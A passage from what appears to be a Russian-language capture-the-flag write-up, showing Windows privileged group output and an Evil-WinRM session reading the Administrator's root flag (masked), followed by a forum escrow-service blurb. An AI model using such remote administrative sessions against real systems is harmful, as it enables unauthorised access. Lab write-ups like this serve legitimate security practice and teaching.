BUILTIN\Administrators Alias S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner

BUILTIN\Users Alias S-1-5-32-545 Mandatory group, Enabled by default, Enabled group

BUILTIN\Pre-Windows 2000 Compatible Access Alias S-1-5-32-554 Mandatory group, Enabled by default, Enabled group

NT AUTHORITY\NETWORK Well-known group S-1-5-2 Mandatory group, Enabled by default, Enabled group

NT AUTHORITY\Authenticated Users Well-known group S-1-5-11 Mandatory group, Enabled by default, Enabled group

NT AUTHORITY\This Organization Well-known group S-1-5-15 Mandatory group, Enabled by default, Enabled group

NT AUTHORITY\NTLM Authentication Well-known group S-1-5-64-10 Mandatory group, Enabled by default, Enabled group

Mandatory Label\High Mandatory Level Label S-1-16-12288



a78f130037fde933775148c98f730046.png

Флаг администратора лежит прямо на рабочем столе пользователя Administrator:

Evil-WinRM PS C:\Users\administrator\desktop> cat root.txt

c3bee243************************
 
Автоматический гарант это финансовая безопасность: Покупатель может быть уверен, что его деньги не попадут к продавцу до того, как он получит и проверит товар или услугу. Продавец, в свою очередь, защищен от не оплаты, так как гарант подтверждает наличие средств у покупателя до начала выполнения обязательств.
Назад
Сверху